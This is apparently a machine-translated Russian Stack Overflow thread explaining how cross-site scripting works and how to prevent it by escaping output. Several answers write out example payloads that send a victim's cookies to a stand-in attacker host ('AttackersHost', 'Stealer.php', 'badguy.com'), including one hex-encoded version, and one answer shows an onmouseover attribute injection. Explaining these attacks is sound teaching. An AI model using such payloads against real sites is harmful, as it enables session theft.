Как работает XSS?

Может ли кто-нибудь объяснить, как работает XSS на простом английском языке? Может с примером. Гугление мало помогло.


xss
person Community    schedule 27.10.2008    source источник
comment
Вы имеете в виду межсайтовый скриптинг?   -  person iny    schedule 27.10.2008


Ответы (6)


Межсайтовый скриптинг в основном представляет собой уязвимость системы безопасности динамических веб-страниц, где злоумышленник может создать вредоносную ссылку для внедрения нежелательного исполняемого кода JavaScript на веб-сайт. Наиболее распространенный случай этой уязвимости возникает, когда переменные GET печатаются или отображаются без фильтрации или проверки их содержимого.

Когда жертва нажимает на ссылку, вредоносный код может затем отправить файл cookie жертвы на другой сервер или изменить уязвимый сайт, внедрив формы, чтобы украсть имена пользователей и пароли и использовать другие методы фишинга.

Пример вредоносной ссылки:

http://VulnerableHost/a.php?variable=<script>document.location='http://AttackersHost/cgi-bin/cookie.cgi%3Fdata='+document.cookie</script>

Также распространено кодирование вредоносного кода, например, в шестнадцатеричном формате:

http://VulnerableHost/a.php?variable=%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%41%74%74%61%63%6B%65%72%73%48%6F%73%74%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%2E%63%67%69%3F%20%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E
person Christian C. Salvadó    schedule 27.10.2008
comment
Ха-ха, да, это хороший пример правильного побега. Хорошая работа Stack Overflow! :) - person Jason; 23.10.2009
comment
Часть, которую я не получаю, это часть жертвы. Если я зайду на examole.com и добавлю Java Script на эту страницу, это отобразится в МОЕМ браузере. Как это можно использовать для атаки на жертву без того, чтобы кто-то заставлял example.com обслуживать этот код или связывать его с какой-то атакой с внедрением SQL? - person Craig Jacobs; 27.01.2017
comment
@CraigJacobs, злоумышленник создаст гиперссылку и отправит ее жертве. Жертва нажимает на нее, и код выполняется в ИХ браузере. Теперь хитрость заключается в том, что делает javascript. Он может удалить данные со страницы или взять файлы cookie пользователя и отправить их куда-то еще. Например, он может принимать файлы cookie пользователя и перенаправлять пользователя на страницу www.badguy.com?cookies=cookiesHere2343rwerw. Теперь badguy.com может проникнуть в сеанс жертвы и сделать что-то плохое. - person NL3294; 07.04.2017

Уязвимость XSS существует всякий раз, когда строка вне вашего приложения может быть интерпретирована как код.

Например, если вы генерируете HTML следующим образом:

<BODY>
  <?= $myQueryParameter ?>
</BODY>

затем, если переменная $myQueryParameter содержит тег <SCRIPT>, тогда она завершит выполнение кода.

Чтобы предотвратить выполнение ввода как кода, необходимо правильно экранировать содержимое.

Вышеупомянутую проблему можно решить, если понять, что переменная $myQueryParameter содержит обычный текст, но вы не можете просто взять и поместить обычный текст в HTML и ожидать, что он будет работать.

Поэтому вам нужно преобразовать обычный текст в HTML, чтобы вы могли поместить его на свою HTML-страницу. Этот процесс преобразования строки на одном языке в другой, чтобы ее можно было встроить, ускользает.

Вы можете преобразовать обычный текст в HTML с помощью такой функции, как:

function escapePlainTextToHTML(plainText) {
  return plainText.replace(/\0/g, '')
      .replace(/&/g, '&amp;')
      .replace(/</g, '&lt;')
      .replace(/>/g, '&gt;')
      .replace(/"/g, '&#34;')
      .replace(/'/g, '&#39;');
}
person Mike Samuel    schedule 09.01.2009

На простом английском

XSS — это когда вы вставляете скрипты (имеется в виду код JavaScript) на веб-страницы, чтобы браузер выполнял код. Это вредоносно, потому что его можно использовать для кражи файлов cookie и любых других данных на странице. Например:

HTML-код окна поиска: <input value="*search value here*">

Теперь, если вы вставите " onmouseover="alert(1), окончательный HTML-код будет <input value="" onmouseover="alert(1)">. При наведении курсора мыши на поле поиска будет выполнено «предупреждение».

В "Викитексте"

Межсайтовый скриптинг (XSS) — это тип уязвимости компьютерной безопасности, обычно встречающийся в веб-приложениях. XSS позволяет злоумышленникам внедрять скрипты на стороне клиента в веб-страницы, просматриваемые другими пользователями. Уязвимость межсайтового скриптинга может использоваться злоумышленниками для обхода средств контроля доступа, таких как политика одного и того же источника.

person BillyBob    schedule 27.05.2016

Говоря простым языком, XSS — это уязвимость в системе безопасности, с помощью которой злоумышленник может создать вредоносный скрипт для взлома веб-сайта. Теперь Как это работает?

Поскольку мы знаем, что для XSS требуется поле ввода, или мы можем сказать, что переменная GET, через которую ввод, возвращается пользователю без фильтрации, а иногда и без фильтрации. После запроса браузер может («исходный код») в качестве ответа показать содержимое пользователю. Помните, что вы когда-либо писали в поле ввода, это будет в ответе исходного кода. Поэтому вам следует проверить это, потому что иногда веб-разработчик накладывает ограничения на окно предупреждения.

Если вы являетесь злоумышленником, сначала вам нужно узнать об уязвимости xss, используя тег сценария.

Например: - предупреждение("тест")

Здесь alert() используется для создания всплывающего окна с кнопкой ok, и все, что вы написали в скобках, будет всплывать на экране. И теги script невидимы.

Теперь злоумышленник может создать вредоносный скрипт для кражи файла cookie, кражи учетных данных и т. д.

Например: hxxp://www.VulnerableSite.com/index.php?search=location.href = 'http://www.Yoursite.com/Stealer.php?cookie='+document.cookie;

Здесь ваш сайт является сайтом злоумышленника, на котором злоумышленник может перенаправить cookie жертвы на свой сайт с помощью document.cookie.

Вот и все.

Здесь тег скрипта невидим

person Utkarsh Agrawal    schedule 08.04.2017

Я написал статью о том, что такое XSS и как с этим справиться в качестве PHP-разработчика. Также есть примеры того, как выглядят оба типа XSS-атак (постоянные и непостоянные).

Существует два типа XSS-атак:

  1. Непостоянный: это будет специально созданный URL-адрес, который встраивает скрипт в качестве одного из параметров на целевую страницу. Неприятный URL-адрес может быть отправлен по электронной почте с целью заставить получателя щелкнуть по нему. Целевая страница неправильно обрабатывает параметр и непреднамеренно отправляет на клиентский компьютер код, который изначально был передан через строку URL.
  2. Постоянная: эта атака использует страницу на сайте, которая сохраняет данные формы в базу данных без надлежащей обработки входных данных. Злоумышленник может внедрить неприятный сценарий как часть типичного поля данных (например, «Фамилия»), который неосознанно запускается в веб-браузере клиента. Обычно вредоносный скрипт сохраняется в базе данных и повторно запускается при каждом посещении клиентом зараженной страницы.

Подробнее см. здесь: http://www.thedablog.com/what-is-xss/

person Jason Locke    schedule 17.11.2016

XSS-

Уязвимость возникает, когда веб-сайт доверяет пользователю и не фильтрует пользовательский ввод. Пользовательский ввод вызывает запуск нежелательного скрипта на сайте.

  1. Профилактика:

    • Фильтрация пользовательского ввода с помощью дезинфицирующих средств ввода HTML

      (например, strip_tags, htmlspecialchars, htmlentities, mysql_real_string_escape в php)

CSRF:

Уязвимость возникает, когда пользователь доверяет сайту, но сайт может работать, чтобы получить информацию о пользователе и использовать ее не по назначению.

  1. Профилактика:

person Abhishek Mehta    schedule 07.11.2012